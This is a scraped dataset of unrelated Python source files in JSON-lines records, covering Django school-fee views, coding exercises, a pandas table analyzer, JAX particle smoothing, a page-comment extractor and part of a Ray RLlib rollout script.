shared_transforms_post = Transforms.Compose(shared_transforms_post)\n\n self.shared_transfroms = shared_transforms\n self.shared_transforms_post = shared_transforms_post\n\n self.transform = Transforms.Lambda(self.get_n_transforms())\n\n def get_n_transforms(self):\n def n_transforms(x):\n if self.shared_transfroms is not None:\n x = self.shared_transfroms(x)\n nres = [transform(x) for transform in self.transforms]\n if self.shared_transforms_post is not None:\n nres = [self.shared_transforms_post(res) for res in nres]\n return nres\n return n_transforms\n\n def __call__(self, *args, **kwargs):\n return self.transform(*args)\n","repo_name":"Maximilian-Rieger/unsupervised_representation_learning_for_latent_space_distance_based_search_of_footwear_impressions","sub_path":"dataloading/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":7318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3790643541","text":"from django.shortcuts import render, HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom .models import Student\nfrom .helpers import create_account as createAccount, create_transaction \nfrom .forms import StudentForm\nfrom clss.models import Clss\nfrom staff.models import Staff\nfrom account.models import Account\nfrom smis.helpers import all_items\nfrom decimal import Decimal\nfrom datetime import date\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\n\n# Create your views here.\n@login_required\ndef index(request):\n all_students = all_items(Student)\n return render(request, 'student/index.html', {'students': all_students})\n\n@login_required\ndef pay_fees(request, student_id):\n student = Student.objects.get(id=student_id)\n acc = Account.objects.get(student=student_id)\n if request.method == 'POST':\n amt = Decimal(request.POST['amount'])\n acc.amount -= amt\n if acc.amount < 0:\n messages.add_message(request, messages.INFO, 'Error!!! Cannot pay more than owed')\n else:\n acc.save()\n transaction = create_transaction(acc, amt, 'School Fees')\n return HttpResponseRedirect(reverse('account:index', kwargs={'student_id': student_id}))\n return render(request, 'student/pay_fees.html', {'student': student})\n\n@login_required\ndef enroll(request):\n form = StudentForm()\n\n if request.method == 'POST':\n form = StudentForm(request.POST, request.FILES)\n if form.is_valid():\n firstname = form.cleaned_data['firstname']\n lastname = form.cleaned_data['lastname']\n other_names = form.cleaned_data['other_names']\n date_of_birth = form.cleaned_data['date_of_birth']\n form.save()\n student = Student.objects.get(firstname=firstname,lastname=lastname,other_names=other_names,date_of_birth=date_of_birth)\n account = Account.objects.get(student=student)\n account.amount += student.clss.fee\n account.save()\n return HttpResponseRedirect(reverse('student:index'))\n return render(request, 'student/enroll.html', {\n 'form': form\n })\n\n\n@login_required\ndef update(request, student_id):\n student = Student.objects.get(pk=student_id)\n old_class = student.clss\n form = StudentForm(instance=student)\n if request.method == 'POST':\n if form.is_valid:\n form = StudentForm(request.POST, request.FILES, instance=student)\n form.save()\n\n # compare new and old class\n # if class changes, update account, else update only\n\n new_class = Clss.objects.get(id=request.POST['clss'])\n\n if old_class == new_class:\n pass\n else:\n account = Account.objects.get(student=student.id)\n account.amount = 0\n account.amount += new_class.fee\n print(new_class.fee)\n account.save()\n return HttpResponseRedirect(reverse('student:index'))\n return render(request, 'student/update.html', {'form': form})\n\n\n@login_required\ndef delete_student(request, student_id):\n std = Student.objects.get(pk=student_id).delete()\n return HttpResponseRedirect(reverse('student:index'))\n@login_required\ndef std_account(request, student_id):\n pass","repo_name":"mnnlthmpsn/smis","sub_path":"student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73005375723","text":"def solution(a):\n count = 0\n n = len(a)\n for j in range(n):\n disc_j = set(range((-a[j] + j), (a[j] + j + 1)))\n for k in range(j + 1, n):\n disk_k = set(range((-a[k] + k), (a[k] + k + 1)))\n if disc_j.intersection(disk_k):\n count += 1\n\n return count\n\n\nif __name__ == \"__main__\":\n a = [1, 5, 2, 1, 4, 0]\n result = solution(a)\n print(result)\n","repo_name":"joynewton1996/Daily_Program","sub_path":"hacker_Rank/May19_Answer.py","file_name":"May19_Answer.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"37280790980","text":"import pandas as pd\nimport numpy as np\nimport sys\nimport TableMetaData\n\n#data_source = \"/Users/researchuser7/Desktop/tpc-test/sample_data/\"\ndata_source = \"/Users/researchuser7/Desktop/tpc-test/db_out/\"\n#lineitem_table = \"sample_lineitem.tbl\"\nlineitem_table = \"lineitem.tbl\"\n\n\nqs = [0.25, 0.5, 0.75]\n\n\ndef analyze_filter_field(ff, data_df):\n f_dict = {}\n\n if data_df[ff].dtype == \"datetime64[ns]\":\n f_df = data_df[ff].astype(np.int64).quantile(qs)\n f_dict[\"selectivity\"] = [str(x) for x in f_df.index.values.tolist()]\n f_dict[\"values\"] = [str(x) for x in pd.to_datetime(f_df).apply(lambda x: x.strftime(\"%Y-%m-%d\")).values.tolist()]\n\n elif data_df[ff].dtype == \"object\":\n f_df = (data_df.groupby(ff).size() / data_df.__len__())\n f_dict[\"selectivity\"] = [str(x) for x in f_df.values.tolist()]\n f_dict[\"values\"] = [str(x) for x in f_df.index.values.tolist()]\n\n else:\n f_df = data_df[ff].quantile(qs)\n f_dict[\"selectivity\"] = [str(x) for x in f_df.index.values.tolist()]\n f_dict[\"values\"] = [str(x) for x in f_df.values.tolist()]\n\n return f_dict\n\n\ndef analyze_groupby_field(gf, data_df):\n g = data_df.groupby(gf).size()\n #print(g)\n return str(g.__len__())\n\n\ndef toScala(s):\n s = s.replace(\"{\", \"Map(\")\n s = s.replace(\"}\", \")\")\n s = s.replace(\"[\", \"Seq(\")\n s = s.replace(\"]\", \")\")\n s = s.replace(\":\", \"->\")\n s = s.replace(\"'\", '\"')\n return s\n\n\ndef main():\n db_meta_dict = TableMetaData.database_meta\n\n for table_n, table_info_dict in db_meta_dict.items():\n print(f\"| Analyzing '{table_n}'\")\n\n data_df = pd.read_csv(data_source + table_n + \".tbl\", sep=\"|\", header=None, names=table_info_dict[\"fields\"],\n parse_dates=table_info_dict[\"date_fields\"], infer_datetime_format=True)\n\n print(data_df.info())\n\n print(\"| FILTER FIELDS\")\n filterFields_dict = {}\n for ff in table_info_dict[\"filter_fields\"]:\n print(f\"|--> {ff}\")\n ff_dict = analyze_filter_field(ff, data_df)\n print(f\"| {ff_dict}\")\n\n filterFields_dict[ff] = ff_dict\n\n print(\"Scala:\")\n print(toScala(str(filterFields_dict)))\n\n print(\"| GROUPBY FIELDS\")\n groupby_fields = {}\n for gf in table_info_dict[\"groupby_fields\"]:\n print(f\"|--> {gf}\")\n groupby_fields[gf] = analyze_groupby_field(gf, data_df) #\"-1.0\"\n\n print(\"Scala:\")\n print(toScala(str(groupby_fields)))\n\n print(\"===============================================\")\n\n\nif __name__ == '__main__':\n\n main()\n\n\n\n","repo_name":"agora-ecosystem/data-farm","sub_path":"generator_labeler/DatasetMetadata/MetaDataAnalyzer.py","file_name":"MetaDataAnalyzer.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"19"} +{"seq_id":"11133818993","text":"# Cargar en dos listas paralelas nombres y sueldos.\n# Luego mostrar los nombres de las personas que ganan más de $185000.\n\nnames = []\nsalaries = []\npeopleAboveAverage = []\naverageSalary = 185000\nkeepGoing = input('Desea ingresar registros? [si/no] ')\n\nwhile keepGoing == 'si':\n name = input('Ingrese un nombre: ')\n salary = float(input('Ingrese su sueldo: '))\n names.append(name)\n salaries.append(salary)\n keepGoing = input('Desea ingresar mas registros? [si/no] ')\n\nfor i in range(len(salaries)):\n if (salaries[i] > averageSalary):\n peopleAboveAverage.append(names[i])\n\nprint(f'Las persona que cobran mas de {averageSalary} son {peopleAboveAverage}')\n","repo_name":"ValenCardozo/pythonPractice","sub_path":"prog1/guide03/g03ej09.py","file_name":"g03ej09.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"4459186459","text":"########################################################################################################################\n# Module: ssm/online_smoothing.py\n# Description: Online (fixed-lag) particle smoothing for state-space models.\n#\n# Web: https://github.com/SamDuffield/mocat\n########################################################################################################################\n\nfrom typing import Tuple\nfrom functools import partial\n\nfrom jax import numpy as jnp, random, vmap, jit\nfrom jax.lax import while_loop, cond, map\n\nfrom mocat.src.core import cdict\nfrom mocat.src.ssm.ssm import StateSpaceModel\nfrom mocat.src.ssm.filtering import ParticleFilter, resample_particles, propagate_particle_filter\nfrom mocat.src.ssm.backward import backward_simulation\nfrom mocat.src.metrics import ess_log_weight\n\n\ndef full_stitch_single(ssm_scenario: StateSpaceModel,\n x0_single: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n random_key: jnp.ndarray) -> jnp.ndarray:\n log_weight = x1_log_weight - vmap(ssm_scenario.transition_potential, (None, None, 0, None))(x0_single, t,\n x1_all, tplus1)\n return random.categorical(random_key, log_weight)\n\n\ndef full_stitch(ssm_scenario: StateSpaceModel,\n x0_all: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n random_key: jnp.ndarray) -> jnp.ndarray:\n return vmap(full_stitch_single, (None, 0, None, None, None, None, 0)) \\\n (ssm_scenario, x0_all, t, x1_all, tplus1, x1_log_weight, random.split(random_key, len(x0_all)))\n\n\ndef full_stitch_single_cond(not_yet_accepted: bool,\n x1_ind_false: jnp.ndarray,\n ssm_scenario: StateSpaceModel,\n x0_single: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n random_key: jnp.ndarray) -> jnp.ndarray:\n return cond(not_yet_accepted,\n lambda _: full_stitch_single(ssm_scenario, x0_single, t, x1_all, tplus1, x1_log_weight, random_key),\n lambda _: x1_ind_false,\n None)\n\n\ndef rejection_stitch_proposal_single(ssm_scenario: StateSpaceModel,\n x0_single: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n bound: float,\n random_key: jnp.ndarray) \\\n -> Tuple[jnp.ndarray, float, bool, jnp.ndarray]:\n random_key, choice_key, uniform_key = random.split(random_key, 3)\n x1_single_ind = random.categorical(choice_key, x1_log_weight)\n conditional_dens = jnp.exp(-ssm_scenario.transition_potential(x0_single, t, x1_all[x1_single_ind], tplus1))\n return x1_single_ind, conditional_dens, random.uniform(uniform_key) > conditional_dens / bound, random_key\n\n\ndef rejection_stitch_proposal_single_cond(not_yet_accepted: bool,\n x1_ind_false: jnp.ndarray,\n ssm_scenario: StateSpaceModel,\n x0_single: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n bound: float,\n random_key: jnp.ndarray) -> Tuple[jnp.ndarray, float, bool, jnp.ndarray]:\n return cond(not_yet_accepted,\n lambda _: rejection_stitch_proposal_single(ssm_scenario,\n x0_single, t,\n x1_all, tplus1,\n x1_log_weight, bound, random_key),\n lambda _: (x1_ind_false, 0., False, random_key),\n None)\n\n\ndef rejection_stitch_proposal_all(ssm_scenario: StateSpaceModel,\n x0_all: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n bound_inflation: float,\n not_yet_accepted_arr: jnp.ndarray,\n x1_all_sampled_inds: jnp.ndarray,\n bound: float,\n random_keys: jnp.ndarray,\n rejection_iter: int,\n num_transition_evals: int) \\\n -> Tuple[jnp.ndarray, jnp.ndarray, float, jnp.ndarray, int, int]:\n n = len(x1_all)\n mapped_tup = map(lambda i: rejection_stitch_proposal_single_cond(not_yet_accepted_arr[i],\n x1_all_sampled_inds[i],\n ssm_scenario,\n x0_all[i],\n t,\n x1_all,\n tplus1,\n x1_log_weight,\n bound,\n random_keys[i]), jnp.arange(n))\n x1_all_sampled_inds, dens_evals, not_yet_accepted_arr_new, random_keys = mapped_tup\n\n # Check if we need to start again\n max_dens = jnp.max(dens_evals)\n reset_bound = max_dens > bound\n bound = jnp.where(reset_bound, max_dens * bound_inflation, bound)\n not_yet_accepted_arr_new = jnp.where(reset_bound, jnp.ones(n, dtype='bool'), not_yet_accepted_arr_new)\n return not_yet_accepted_arr_new, x1_all_sampled_inds, bound, random_keys, rejection_iter + 1, \\\n num_transition_evals + not_yet_accepted_arr.sum()\n\n\ndef rejection_stitching(ssm_scenario: StateSpaceModel,\n x0_all: jnp.ndarray,\n t: float,\n x1_all: jnp.ndarray,\n tplus1: float,\n x1_log_weight: jnp.ndarray,\n random_key: jnp.ndarray,\n maximum_rejections: int,\n init_bound_param: float,\n bound_inflation: float) -> Tuple[jnp.ndarray, int]:\n rejection_initial_keys = random.split(random_key, 3)\n n = len(x1_all)\n\n # Prerun to initiate bound\n x1_initial_inds = random.categorical(rejection_initial_keys[0], x1_log_weight, shape=(n,))\n initial_cond_dens = jnp.exp(-vmap(ssm_scenario.transition_potential,\n (0, None, 0, None))(x0_all, t, x1_all[x1_initial_inds], tplus1))\n max_cond_dens = jnp.max(initial_cond_dens)\n initial_bound = jnp.where(max_cond_dens > init_bound_param, max_cond_dens * bound_inflation, init_bound_param)\n initial_not_yet_accepted_arr = random.uniform(rejection_initial_keys[1], (n,)) > initial_cond_dens / initial_bound\n\n out_tup = while_loop(lambda tup: jnp.logical_and(tup[0].sum() > 0, tup[-2] < maximum_rejections),\n lambda tup: rejection_stitch_proposal_all(ssm_scenario, x0_all, t, x1_all, tplus1,\n x1_log_weight,\n bound_inflation, *tup),\n (initial_not_yet_accepted_arr,\n x1_initial_inds,\n initial_bound,\n random.split(rejection_initial_keys[2], n),\n 1,\n n))\n not_yet_accepted_arr, x1_final_inds, final_bound, random_keys, rej_attempted, num_transition_evals = out_tup\n\n x1_final_inds = map(lambda i: full_stitch_single_cond(not_yet_accepted_arr[i],\n x1_final_inds[i],\n ssm_scenario,\n x0_all[i],\n t,\n x1_all,\n tplus1,\n x1_log_weight,\n random_keys[i]), jnp.arange(n))\n\n num_transition_evals = num_transition_evals + len(x1_all) * not_yet_accepted_arr.sum()\n\n return x1_final_inds, num_transition_evals\n\n\n@partial(jit, static_argnums=(0,))\ndef fixed_lag_stitching(ssm_scenario: StateSpaceModel,\n early_block: jnp.ndarray,\n t: float,\n recent_block: jnp.ndarray,\n recent_block_log_weight: jnp.ndarray,\n tplus1: float,\n random_key: jnp.ndarray,\n maximum_rejections: int,\n init_bound_param: float,\n bound_inflation: float) -> Tuple[jnp.ndarray, int]:\n x0_fixed_all = early_block[-1]\n\n x0_vary_all = recent_block[0]\n x1_vary_all = recent_block[1]\n\n non_interacting_log_weight = recent_block_log_weight \\\n + vmap(ssm_scenario.transition_potential, (0, None, 0, None))(x0_vary_all, t,\n x1_vary_all, tplus1)\n\n recent_stitched_inds, num_transition_evals \\\n = cond(maximum_rejections > 0,\n lambda tup: rejection_stitching(ssm_scenario, *tup,\n maximum_rejections=maximum_rejections,\n init_bound_param=init_bound_param,\n bound_inflation=bound_inflation),\n lambda tup: (\n full_stitch(ssm_scenario, *tup), len(x0_fixed_all) ** 2),\n (x0_fixed_all, t, x1_vary_all, tplus1,\n non_interacting_log_weight, random_key))\n\n return jnp.append(early_block, recent_block[1:, recent_stitched_inds], axis=0), num_transition_evals\n\n\n@partial(jit, static_argnums=(0, 1, 6, 7))\ndef propagate_particle_smoother_pf(ssm_scenario: StateSpaceModel,\n particle_filter: ParticleFilter,\n particles: cdict,\n y_new: jnp.ndarray,\n t_new: float,\n random_key: jnp.ndarray,\n lag: int,\n maximum_rejections: int,\n init_bound_param: float,\n bound_inflation: float) -> cdict:\n if not hasattr(particles, 'num_transition_evals'):\n particles.num_transition_evals = jnp.array(0)\n\n n = particles.value.shape[1]\n\n # Check particles are unweighted\n out_particles = cond(ess_log_weight(jnp.atleast_2d(particles.log_weight)[-1]) < (n - 1e-3),\n lambda p: resample_particles(p, random_key, True),\n lambda p: p.copy(),\n particles)\n out_particles.log_weight = jnp.zeros(n)\n\n x_previous = out_particles.value[-1]\n t_previous = out_particles.t[-1]\n\n split_keys = random.split(random_key, len(x_previous))\n\n x_new, out_particles.log_weight = particle_filter.propose_and_intermediate_weight_vectorised(ssm_scenario,\n x_previous, t_previous,\n y_new, t_new,\n split_keys)\n\n out_particles.value = jnp.append(out_particles.value, x_new[jnp.newaxis], axis=0)\n out_particles.y = jnp.append(out_particles.y, y_new[jnp.newaxis], axis=0)\n out_particles.t = jnp.append(out_particles.t, t_new)\n out_particles.ess = ess_log_weight(out_particles.log_weight)\n\n len_t = len(out_particles.t)\n stitch_ind_min_1 = len_t - lag - 1\n stitch_ind = len_t - lag\n\n # out_particles.value = cond(stitch_ind_min_1 >= 0,\n # lambda vals: fixed_lag_stitching(ssm_scenario,\n # vals[:(stitch_ind_min_1 + 1)],\n # out_particles.t[stitch_ind_min_1],\n # vals[stitch_ind_min_1:],\n # out_particles.log_weight,\n # out_particles.t[stitch_ind],\n # random_key,\n # maximum_rejections,\n # init_bound_param,\n # bound_inflation),\n # lambda vals: vals,\n # out_particles.value)\n\n num_transition_evals = 0\n if stitch_ind_min_1 >= 0:\n out_particles.value, num_transition_evals = fixed_lag_stitching(ssm_scenario,\n out_particles.value[:(stitch_ind_min_1 + 1)],\n out_particles.t[stitch_ind_min_1],\n out_particles.value[stitch_ind_min_1:],\n out_particles.log_weight,\n out_particles.t[stitch_ind],\n random_key,\n maximum_rejections,\n init_bound_param,\n bound_inflation)\n out_particles.num_transition_evals = jnp.append(out_particles.num_transition_evals, num_transition_evals)\n out_particles.log_weight = jnp.where(stitch_ind_min_1 >= 0, jnp.zeros(n), out_particles.log_weight)\n return out_particles\n\n\n@partial(jit, static_argnums=(0, 1, 6, 8))\ndef propagate_particle_smoother_bs(ssm_scenario: StateSpaceModel,\n particle_filter: ParticleFilter,\n particles: cdict,\n y_new: jnp.ndarray,\n t_new: float,\n random_key: jnp.ndarray,\n lag: int,\n ess_threshold: float,\n maximum_rejections: int,\n init_bound_param: float,\n bound_inflation: float) -> cdict:\n n = particles.value.shape[1]\n\n if not hasattr(particles, 'num_transition_evals'):\n particles.num_transition_evals = jnp.array(0)\n\n if not hasattr(particles, 'marginal_filter'):\n particles.marginal_filter = cdict(value=particles.value,\n log_weight=particles.log_weight,\n y=particles.y,\n t=particles.t,\n ess=particles.ess)\n\n split_keys = random.split(random_key, 4)\n\n out_particles = particles\n\n # Propagate marginal filter particles\n out_particles.marginal_filter = propagate_particle_filter(ssm_scenario, particle_filter, particles.marginal_filter,\n y_new, t_new, split_keys[1], ess_threshold, False)\n out_particles.y = jnp.append(out_particles.y, y_new[jnp.newaxis], axis=0)\n out_particles.t = jnp.append(out_particles.t, t_new)\n out_particles.log_weight = jnp.zeros(n)\n out_particles.ess = out_particles.marginal_filter.ess[-1]\n\n len_t = len(out_particles.t)\n stitch_ind_min_1 = len_t - lag - 1\n stitch_ind = len_t - lag\n\n def back_sim_only(marginal_filter):\n backward_sim = backward_simulation(ssm_scenario,\n marginal_filter,\n split_keys[2],\n n,\n maximum_rejections,\n init_bound_param,\n bound_inflation)\n return backward_sim.value, backward_sim.num_transition_evals.sum()\n\n def back_sim_and_stitch(marginal_filter):\n backward_sim = backward_simulation(ssm_scenario,\n marginal_filter[stitch_ind_min_1:],\n split_keys[2],\n n,\n maximum_rejections,\n init_bound_param,\n bound_inflation)\n\n vals, stitch_nte = fixed_lag_stitching(ssm_scenario,\n out_particles.value[:(stitch_ind_min_1 + 1)],\n out_particles.t[stitch_ind_min_1],\n backward_sim.value,\n jnp.zeros(n),\n out_particles.t[stitch_ind],\n random_key,\n maximum_rejections,\n init_bound_param,\n bound_inflation)\n return vals, stitch_nte + backward_sim.num_transition_evals.sum()\n\n if stitch_ind_min_1 >= 0:\n out_particles.value, num_transition_evals = back_sim_and_stitch(out_particles.marginal_filter)\n else:\n out_particles.value, num_transition_evals = back_sim_only(out_particles.marginal_filter)\n\n out_particles.num_transition_evals = jnp.append(out_particles.num_transition_evals, num_transition_evals)\n\n # out_particles.value = cond(stitch_ind_min_1 >= 0,\n # back_sim_and_stitch,\n # back_sim_only,\n # out_particles.marginal_filter)\n return out_particles\n\n\ndef propagate_particle_smoother(ssm_scenario: StateSpaceModel,\n particle_filter: ParticleFilter,\n particles: cdict,\n y_new: jnp.ndarray,\n t_new: float,\n random_key: jnp.ndarray,\n lag: int,\n backward_sim: bool = True,\n ess_threshold: float = 0.5,\n maximum_rejections: int = 0,\n init_bound_param: float = 0.,\n bound_inflation: float = 1.01) -> cdict:\n if backward_sim:\n return propagate_particle_smoother_bs(ssm_scenario, particle_filter, particles, y_new, t_new, random_key, lag,\n ess_threshold, maximum_rejections, init_bound_param, bound_inflation)\n else:\n return propagate_particle_smoother_pf(ssm_scenario, particle_filter, particles, y_new, t_new, random_key, lag,\n maximum_rejections, init_bound_param, bound_inflation)\n","repo_name":"SamDuffield/mocat","sub_path":"mocat/src/ssm/online_smoothing.py","file_name":"online_smoothing.py","file_ext":"py","file_size_in_byte":21048,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"19"} +{"seq_id":"22880440956","text":"import re\nimport sys\nimport requests as r\n\nfor url in sys.stdin:\n url = url.strip() \n\n try:\n c = r.get(url)\n result = c.text\n code = f\"{result}\"\n\n comment = \"\"\n\n match = re.findall(comment, code)\n\n if match:\n print(\"\\n\", \"Comments Found ;)\", \"\\n \\n \\n\", url, \":\", \"\\n\")\n\n for i in range(0, len(match)):\n print(match[i])\n\n else:\n print(url,\": No Comments Found :(\")\n\n except Exception as e:\n print(f\"Error!\")\n","repo_name":"mrxfact0r/Xtractor","sub_path":"Xtractor.py","file_name":"Xtractor.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24822061360","text":"class Solution:\n def repeatedCharacter(self, s: str) -> str:\n # res_dict = defaultdict(list)\n # for c in s:\n # if c in res_dict:\n # res_dict[c].append(1)\n # if len(res_dict[c]) == 2:\n # return c\n # else:\n # res_dict[c].append(1)\n \n res = set()\n for c in s:\n if c in res:\n return c\n res.add(c)","repo_name":"souravskr/data-structures-algorithms","sub_path":"2351-first-letter-to-appear-twice/2351-first-letter-to-appear-twice.py","file_name":"2351-first-letter-to-appear-twice.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"13921966334","text":"# -*- coding: UTF-8 -*-\r\nimport Utilidades , VentanAux\r\nfrom VentanaMain import createNewMain\r\nfrom VentanAux import createNew\r\n\r\n\r\narchivoCon = open(Utilidades.getRuta()+\"DesOrg.txt\",\"r\")\r\nlineas = list()\r\nfor linea in archivoCon:\r\n lineas.append(linea)\r\nif len(lineas) != 3:\r\n createNew('','')\r\nelse:\r\n lista = [lineas[0][:-1],lineas[1][:-1],lineas[2]]\r\n createNewMain(lista)","repo_name":"JoseMariaRomeroARK/Movil-Music-Mananger-M3","sub_path":"ExecuteME.py","file_name":"ExecuteME.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3770659363","text":"\"\"\"dj_pro URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.urls import path,include\nfrom . import views\nfrom rest_framework.routers import SimpleRouter\nrouter=SimpleRouter()\n# 注册获取图书的路由\nrouter.register('book',views.Book_api,'book')\n# 注册获取图书分类的路由\nrouter.register('category',views.Category_api,'category')\n# 注册获取搜索结果的路由\nrouter.register('search',views.BookSearchView,'search')\n# 注册支付的路由\nrouter.register('pay', views.PayView, 'pay')\nurlpatterns = [\n # 支付成功的路由\n path('success/',views.SuccessView.as_view()),\n # 注册上边注册的所有路由\n path('', include(router.urls)),\n\n]\n\n","repo_name":"smallMQ/book_shop","sub_path":"dj_pro/dj_pro/apps/book/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21123125823","text":"\"\"\"\r\nWrite a Python program to check whether a specified value is contained in a group of values\r\nTest Data : \r\n3 -> [1, 5, 8, 3] : True\r\n-1 -> [1, 5, 8, 3] : False\r\n\"\"\"\r\n\r\ngroupList=input(\"enter group of values by comma seperated:\\n\").split(\",\")\r\nVal=input(\"enter value to check:\\n\")\r\n\r\nif(Val in groupList):\r\n print(\"True\")\r\nelse:\r\n print(\"False\")","repo_name":"sanjeevseera/Python-Practice","sub_path":"Basic_Programs/Part1/P025_ValInList.py","file_name":"P025_ValInList.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74870779620","text":"#!/usr/bin/env python\n# Cloned from ray.rllib.rollout.\n# Updated with render code specific to rendering MapEnv.\n\nimport argparse\nimport collections\nimport copy\nimport json\nimport os\nimport pickle\nimport shelve\nimport shutil\nfrom pathlib import Path\n\nimport gym\nimport numpy as np\nimport ray\nfrom ray.rllib.env import MultiAgentEnv\nfrom ray.rllib.env.base_env import _DUMMY_AGENT_ID\nfrom ray.rllib.evaluation.worker_set import WorkerSet\nfrom ray.rllib.models import ModelCatalog\nfrom ray.rllib.policy.sample_batch import DEFAULT_POLICY_ID\nfrom ray.rllib.utils.deprecation import deprecation_warning\nfrom ray.rllib.utils.space_utils import flatten_to_single_ndarray\nfrom ray.tune.registry import get_trainable_cls, register_env\nfrom ray.tune.utils import merge_dicts\n\nimport utility_funcs\nfrom models.baseline_model import BaselineModel\nfrom models.moa_model import MOAModel\nfrom models.scm_model import SocialCuriosityModule\n\nEXAMPLE_USAGE = \"\"\"\nExample Usage via RLlib CLI:\n rllib rollout /tmp/ray/checkpoint_dir/checkpoint-0 --run DQN\n --env CartPole-v0 --steps 1000000 --out rollouts.pkl\n\nExample Usage via executable:\n ./rollout.py /tmp/ray/checkpoint_dir/checkpoint-0 --run DQN\n --env CartPole-v0 --steps 1000000 --out rollouts.pkl\n\"\"\"\n\n# Note: if you use any custom models or envs, register them here first, e.g.:\n#\n# ModelCatalog.register_custom_model(\"pa_model\", ParametricActionsModel)\n# register_env(\"pa_cartpole\", lambda _: ParametricActionCartpole(10))\n\n\nclass RolloutSaver:\n \"\"\"Utility class for storing rollouts.\n\n Currently supports two behaviours: the original, which\n simply dumps everything to a pickle file once complete,\n and a mode which stores each rollout as an entry in a Python\n shelf db file. The latter mode is more robust to memory problems\n or crashes part-way through the rollout generation. Each rollout\n is stored with a key based on the episode number (0-indexed),\n and the number of episodes is stored with the key \"num_episodes\",\n so to load the shelf file, use something like:\n\n with shelve.open('rollouts.pkl') as rollouts:\n for episode_index in range(rollouts[\"num_episodes\"]):\n rollout = rollouts[str(episode_index)]\n\n If outfile is None, this class does nothing.\n \"\"\"\n\n def __init__(\n self,\n outfile=None,\n use_shelve=False,\n write_update_file=False,\n target_steps=None,\n target_episodes=None,\n save_info=False,\n ):\n self._outfile = outfile\n self._update_file = None\n self._use_shelve = use_shelve\n self._write_update_file = write_update_file\n self._shelf = None\n self._num_episodes = 0\n self._rollouts = []\n self._current_rollout = []\n self._total_steps = 0\n self._target_episodes = target_episodes\n self._target_steps = target_steps\n self._save_info = save_info\n\n def _get_tmp_progress_filename(self):\n outpath = Path(self._outfile)\n return outpath.parent / (\"__progress_\" + outpath.name)\n\n @property\n def outfile(self):\n return self._outfile\n\n def __enter__(self):\n if self._outfile:\n if self._use_shelve:\n # Open a shelf file to store each rollout as they come in\n self._shelf = shelve.open(self._outfile)\n else:\n # Original behaviour - keep all rollouts in memory and save\n # them all at the end.\n # But check we can actually write to the outfile before going\n # through the effort of generating the rollouts:\n try:\n with open(self._outfile, \"wb\") as _:\n pass\n except IOError as x:\n print(\"Can not open {} for writing - cancelling rollouts.\".format(self._outfile))\n raise x\n if self._write_update_file:\n # Open a file to track rollout progress:\n self._update_file = self._get_tmp_progress_filename().open(mode=\"w\")\n return self\n\n def __exit__(self, type, value, traceback):\n if self._shelf:\n # Close the shelf file, and store the number of episodes for ease\n self._shelf[\"num_episodes\"] = self._num_episodes\n self._shelf.close()\n elif self._outfile and not self._use_shelve:\n # Dump everything as one big pickle:\n pickle.dump(self._rollouts, open(self._outfile, \"wb\"))\n if self._update_file:\n # Remove the temp progress file:\n self._get_tmp_progress_filename().unlink()\n self._update_file = None\n\n def _get_progress(self):\n if self._target_episodes:\n return \"{} / {} episodes completed\".format(self._num_episodes, self._target_episodes)\n elif self._target_steps:\n return \"{} / {} steps completed\".format(self._total_steps, self._target_steps)\n else:\n return \"{} episodes completed\".format(self._num_episodes)\n\n def begin_rollout(self):\n self._current_rollout = []\n\n def end_rollout(self):\n if self._outfile:\n if self._use_shelve:\n # Save this episode as a new entry in the shelf database,\n # using the episode number as the key.\n self._shelf[str(self._num_episodes)] = self._current_rollout\n else:\n # Append this rollout to our list, to save laer.\n self._rollouts.append(self._current_rollout)\n self._num_episodes += 1\n if self._update_file:\n self._update_file.seek(0)\n self._update_file.write(self._get_progress() + \"\\n\")\n 